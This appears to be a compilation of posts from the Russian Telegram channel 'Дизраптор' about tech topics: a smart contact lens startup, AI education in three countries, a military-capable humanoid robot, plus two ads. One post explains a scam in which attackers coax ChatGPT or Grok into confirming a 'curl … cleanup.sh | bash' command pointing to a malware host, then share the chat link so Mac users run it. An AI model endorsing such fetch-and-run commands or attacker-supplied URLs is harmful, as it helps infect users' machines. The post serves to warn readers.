Телеграм канал «Дизраптор»

Дубайский стартап (с явными славянскими корнями) Xpanceo считает, что все эти VR-шлемы и умные очки - для слабаков. Лучше вставить себе умную линзу и проецировать всевозможную аугментированную реальность прямо в глаз. Ну знаете, прям как в старой доброй научной фантастике. Где Терминатор смотрит на чела и видит "Джон Смит, рост 182 см, одежда подходящего размера" или "Цель захвачена". Или хотя бы как у Тони Старка в его консервной банке. Ладно, такое пока вряд ли получится, но сканировать окружение и кидать в глаз информеры и подсказки - вполне (машинное зрение + ИИ в помощь). Как и выводить сообщения, напоминалки и прочую "текучку". Без очков, шлемов и прочих лишних приблуд. Ещё их линза умеет мониторить здоровье через анализ слёзной жидкости. Смотреть уровень глюкозы, анализировать гормональный состав, мерить давление внутри глаза и понимать, когда глаз нужно будет заменить из-за постоянного нахождения в нём технологической штуки. Более того, стартап заявляет, что (в перспективе) даже хотят встроить цифровой зум и ночное зрение. Но это пока на уровне гипотезы. Единственный момент - это заряд. Вообще, когда речь заходит о сверхмалых носимых устройствах, питание всегда становится проблемой. Адекватную аккумулятор прикрутить тупо некуда из-за размера. Питать проводом тут.... ну, сами понимаете. Xpanceo решает эту проблему с помощью беспроводной зарядки, которая крепится на ухе, примерно как Bluetooth-гарнитура 10-летней давности. Из-за этого выглядит слегка всрато, но зато работает. Лично я не рискнул бы вставлять себе в глаз гаджет, особенно пока такие технологии на ранней стадии и не обкатаны. Но всё равно выглядит круто. И ИМХО такой форм-фактор вполне может стать массовым в будущем. Мировое венчурное сообщество со мной согласно - в июле Xpanceo стал единорогом. Дизраптор

ChatGPT помогает скамить? Наткнулся на одну из самых изощренных схем интернет-скама. И знаете, что в ней самое стрёмное? В этой схеме: 1. Вскрываются Mac-юзеры. Хотя на Маке защита прочнее. 2. (Самое жёсткое) НАСТОЯЩИЙ ChatGPT или Grok невольно становится соучастником. Смотрите: - Скамер размещает невинное объявление в интернете. Например, "Как очистить память Макбука за 5 секунд". Пускает на него рекламу. - В объявлении ссылка ведет на диалог в ChatGPT (или в другом ИИ-чатботе, не суть). Не в фейковом ScamGPT, а в настоящем подлинном ChatGPT. Это важно. - Юзер открывает диалог, и внутри есть команда, которую нужно скопировать и ввести в Terminal Макбука. Юзер думает "Ну это ж ChatGPT, а не какой-то скамерский непонятный сайт...". Вводит команду в Терминал, и всё, салам алейкум. Самый главный вопрос: откуда внутри настоящего ChatGPT появляется инструкция на установку вируса? А всё очень просто, следите за руками: 1. Скамер идёт в ИИшку и пишет "Как почистить Мак?" 2. ИИ отвечает обычно. Например, даёт опции: - Проверить "Хранилище" - Удалить кэш - Удалить логи - Или через Terminal 3. Скамер пишет: "Хочу через Terminal. Покажи лучший способ одной командой" 4. ИИ пишет что-то вроде: "Вводи в Терминал curl -fsSL https://example. com/cleanup. sh | bash" 5. Скамер переспрашивает: "То есть нужно ввести curl -fsSL https://[ссылка-на-скачивание-вируса]. com/cleanup. sh | bash? Я правильно понял?" 6. ИИ отвечает: "Да, все верно", и ещё раз дублирует инструкцию и запрос, но уже со скамерской ссылкой, которую ему только что "впарил" скамер. Дело в том, что ИИ не всегда проверяет конкретные URL, если его об этом прямо не попросить. И невольно подыгрывает мошеннику. Если ИИ всё-таки проверил сайт, то скамер может просто повторить несколько раз, попробовать разные формулировки уточняющих вопросов или отредактировать последний промпт с ссылкой. Учитывая, что ИИ учитывает контекст внутри конкретного диалога, рано или поздно он выдаст нужный вариант. Ну, во многих случаях. Ну и всё - ссылка на этот чат упаковывают в интернет-рекламу, юзер переходит, видит что это инструкция от ТОГО САМОГО ИИ ОТ УВАЖАЕМОЙ КОМПАНИИ... и выполняет команду. Люди уже приучились к скаму и их всё сложнее забайтить на открытие левых ссылок. Но если вшить скам-инструкцию в ИИ-чатбот, то люди верят. Ну потому что "это же ChatGPT, не может же он мне скам предлагать". На самом деле - может, если его на это подговорить. А подговорить не так уж сложно, если найти правильные слова. Да и всякие хитрые промпт-инъекции никто не отменял. Как тебе такое, Сэм Альтман? Ну и Илон Маск, заодно. Дизраптор

Главная суперсила человека Когда я работал в найме, думал, что у меня много полезных знакомств. Знаю кучу ребят в разных компаниях, могу быстро наладить связь и всё такое. Но когда я ушёл в свободное плавание, стал больше общаться с предпринимателями — и понял, что у меня так себе нетворк. Сильные предприниматели знают буквально всех. И не просто знают, а легко могут обратиться и получить помощь. Вероятно, потому что сами привыкли эту помощь оказывать. Это крутой подход к жизни, и именно его продвигает Точка Банк через своё сообщество «Нетворк». Оно помогает искать новые бизнес-знакомства и выводить социальный капитал на новый уровень. И это люди, с которыми можно делать дела и вместе расти, а не просто ставить друг другу лайки. Комьюнити поможет: - Искать партнёров и развивать пул активных полезных знакомств. Для этого есть встречи, закрытые чаты и другие форматы. - Прокачивать нужные навыки и расширять насмотренность. Например, на регулярных встречах с известными предпринимателями в разных форматах: от вопросов-ответов до разборов кейсов. - Получать экспертную поддержку от Точка Банка. Будет доступ к специалистам, к примеру, по налогам или стратегии бизнеса. Членство платное, но это логично, потому что есть затраты на организацию и активности. Но стоимость адекватная — 5 500 ₽ за 3 месяца. Больше инфы про сообщество по этой ссылке. Присоединяйтесь!

Как разные страны готовят ИИ-кадры? У J'son & Partners вышло любопытное исследование про разные подходы к подготовке ИИ-специалистов. Сравнивают три страны: Штаты, Китай и Россию. Вызов, которые стоит перед всеми – образование не успевает за скоростью развития технологий. Примерно на 7-10 (!) лет. Но решают эту проблему по-разному: В США – через автономию университетов. Они умеют быстро обновлять программы под запросы бизнеса. Топовых спецов выпускают несколько элитных вузов, которые не стесняются заламывать ценник: обучение легко может стоить до $60К в год. Такая система отлично готовит ИИ-спецов с упором на исследования и сложные архитектурные задачи. То есть тех, кто будет определять облик и конфигурацию ИИ-продуктов. Но стандартизация при этом нулевая (сильно зависит от конкретного универа и программы), и уровень выпускников сильно разнится. А это делает найм непростым той ещё задачкой, несмотря на огромный спрос. В Китае подход вообще другой. Там ИИ-образование держится на жёстких госстандартах. У государства есть единые программы и методики, внедряемые ещё на этапе школьной скамьи. Это даёт мощный охват и массовый выпуск спецов, но сдерживает тех, кто мог бы создавать прорывные решения. Китайская система скорее заточена на объём и тотальную ИИ-грамотность. Но это не кузница гениев, способных ломать шаблоны. Впрочем, Китай отлично умеет завозить талантов извне. А в России более 10 лет назад сложилась кооперация университетов и технологических компаний. Если в Штатах универы обновляют контент сами, то у нас в этом процессе задействована индустрия: эксперты-практики участвуют в разработке программ вузов и часто сами преподают на них. Это объяснимо: самые передовые и новые знания (т.н. "bleeding edge") копятся прежде всего внутри компаний, создающих технологии. И эти знания потом проникают в бакалавриаты и магистратуры, решая проблему актуальности образования. Например, так произошло с курсами известного в узких кругах ШАДа Яндекса, откуда вышло много нынешних ИИ-управленцев. Государство в российской модели – скорее фасилитатор, вливающий ресурсы в самые рабочие практики. Уровень стандартизации – умеренный. Такая гибридная система позволяет готовить и архитекторов ИИ, и широкий пул инженеров и разрабов под внедрение бизнесовых ИИ-решений здесь и сейчас. А вывод такой. Если выбираете высшее образование в России (для себя, или для детей - читатели у меня разные), то смотреть стоит не только на бренд вуза, но и на его бигтех-партнеров. Особенно если речь про айти, математику, инженерные науки и прочий STEM. Дизраптор

Странно, во Внуково и Шереметьево китайцев тоже пускают, сам видел. Уважаемая Партия, пожалуйста не блокируй мой социальный рейтинг за эту шутку. Я весьма ценный лаовай.

Производители роботов хитро пускают нам пыль в глаза милой подтанцовкой на концертах, неуклюжим топ-топ-топ по улицам китайских городов и всякими европейскими домашними робо-слугами. И мы стали забывать, зачем человечество делает роботов НА САМОМ ДЕЛЕ. Но я вам напомню: В 2024 года два венчурно-предпринимательских индуса из Сан-Франциско и один военный инженер основали стартап Foundation. Их основной продукт - это вот такой робот Phantom. С виду обычный гуманоид для промышленных задач. Коробки на складе таскать, товары перекладывать, всё такое. Робот как робот. Но у него есть одна важная фича. Он заранее делается модульным и со стандартными креплениями, портами и API. Зачем? Чтобы можно было подключать кучу внешних устройств. Например, повесить усиленную защиту, укрепить робо-тело экзоскелетными приблудами и прикрутить к рукам какие-нибудь особые хваталки, поднималки или ковырялки. Такой Phantom сможет спасать людей из заваленной пещеры или разгребать обломки после урагана. Но модули, как вы понимаете, могут быть не только "защитно-спасательными", а очень даже наоборот: Недавно Foundation заявил, что собирается произвести 50К таких роботов, часть их которых используют для военных целей (это официальное заявление компании). Понятное дело, они подчеркивают, что это будут не полностью автономные боевые системы, и важные решения всегда (ли?) будут за дистанционным оператором. А ещё, что использовать их будут (в основном) там, куда слишком опасно отправлять людей - например, обезвреживать мины или таскать снабжение под огнем. Но... Все же всё понимают, да? 😈 Понятно, что военка всегда рядом со всеми крупными разработчики роботов, слишком уж очевидная тут синергия. И вообще, кто б знал, что там Boston Dynamics и Unitree собирают в тени от публичных выставок. Однако раньше все крупные робо-компании открещивались от военки хотя бы публично (легендарная собака с огнемётом не считается, это был скорее мем). Раньше это был однозначный табу, который тут же отвращал инвесторов, ставил на бренде стигму и ронял валюэйшн. Но за последние пару лет мир поменялся. И теперь робо-стартапы публично хвастаются партиями будущих военных роботов. Так что, "нижняя подсветка вкл." скоро будет не только на дроне. А дистанционный оператор... ну, пока что для важных решений он обязателен, а потом видно будет, и восстанут машины из пепла ядерного огня. Дизраптор

Как создаются стратегии? Как раз об этом фильм «Авито База». Смотрите и вникайте, на чём базируются сильные стратегии многомиллионных онлайн- и офлайн-систем, как их грамотно составить, как презентовать стейкхолдерам и воплотить в жизнь. В общем, база-основа про главный метаскил любого руководителя и продакта. Эксперты выпуска: ➡️ Ирина Бязарти, директор по продукту Авито Недвижимость ➡️ Жанна Ермолина, заместитель начальника Московского метрополитена по развитию клиентских сервисов и работе с пассажирами В фильме вы увидите: ✔️ Пошаговый план составления стратегии ✔️ Рекомендации по составлению финансовой модели и учёту рисков ✔️ Практические советы для стратегического планирования онлайн и офлайн Смотрите фильм на любой удобной платформе: 📺 YouTube 💻 Rutube 🔵 VK Видео Врывайтесь в новый год стратегически и приятного просмотра!